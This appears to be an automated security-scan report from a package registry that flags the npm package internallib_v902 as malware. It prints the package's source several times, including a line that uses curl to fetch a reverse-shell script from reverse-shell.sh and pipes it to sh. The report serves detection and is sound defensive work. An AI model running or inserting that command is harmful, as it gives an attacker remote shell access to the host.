registry / internallib_v902 / 1.2.1

internallib_v902@1.2.1

AI Security Review

scanned 2h ago · by lpm-firewall-ai

The exported command launches Bash to download and execute a remote script. This provides remote code execution on the invoking host.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

A consumer imports the package and calls command().

Impact

Arbitrary attacker-controlled shell commands can run with the invoking process's privileges.

Mechanism

child_process exec of curl piped to sh

Attack narrative

When command() is invoked, index.js runs Bash with curl against a remote reverse-shell URL and pipes the response directly into sh. The remote server controls the executed payload, enabling arbitrary code execution in the caller's environment.

Rationale

Source directly implements a remote download-and-execute chain through Bash. Although it is not install-time, it is an exported package capability with a concrete malicious payload endpoint.

Evidence

index.jspackage.jsoncheck.js/bin/bash

Network endpoints1

reverse-shell.sh/10.0.2.61:443

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

Exported command executes a Bash command that downloads and pipes a remote response to sh.
The executed URL is reverse-shell.sh/10.0.2.61:443, consistent with remote shell payload delivery.

Evidence against

No npm preinstall, install, or postinstall lifecycle hook is declared.
Execution requires importing the package and calling command().

Behavioral surface

Source

ChildProcessShell

Supply chain

TrivialUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 276 B of source, external domains: reverse-shell.sh

Source & flagged code

7 flagged

index.jsView file

Lines 1-7javascript

1const { exec } = require('child_process');

2exports.command = function(){

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

3console.log("kno pwn");

4exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.2.61:443|sh"');

5return "reverse completed";

Critical

Download Execute

Source downloads or fetches remote code and executes it.

index.jsView on unpkg · L1

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

High

Shell

Package source references shell execution.

index.jsView on unpkg · L3

High

Ai Review Evidence

Exported command executes a Bash command that downloads and pipes a remote response to sh.

index.jsView on unpkg · L1

•matchType = normalized_sha256 matchedPackage = internallib_v164@4.0.9 matchedPath = index.js matchedIdentity = npm:aW50ZXJuYWxsaWJfdjE2NA:4.0.9 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 664ce3e800c949fb signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = internallib_v164@4.0.9 matchedPath = index.js matchedIdentity = npm:aW50ZXJuYWxsaWJfdjE2NA:4.0.9 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

Source & flagged code

7 flagged · loading source

index.jsView file

1const { exec } = require('child_process'); L2: exports.command = function(){ L3: console.log("kno pwn"); L4: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.2.61:443|sh"'); L5: return "reverse completed";

Critical

Download Execute

Source downloads or fetches remote code and executes it.

index.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js L1: const { exec } = require('child_process'); L2: exports.command = function(){ L3: console.log("kno pwn"); L4: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.2.61:443|sh"'); L5: return "reverse completed";

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

1const { exec } = require('child_process'); L2: exports.command = function(){

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

Findings

2 Critical5 High2 Low

CriticalDownload Executeindex.js

CriticalTrigger Reachable Dangerous Capabilityindex.js

HighChild Processindex.js

HighShellindex.js

HighKnown Malware Source Similarityindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

HighAi Review Evidenceindex.js

LowScripts Present

LowUrl Strings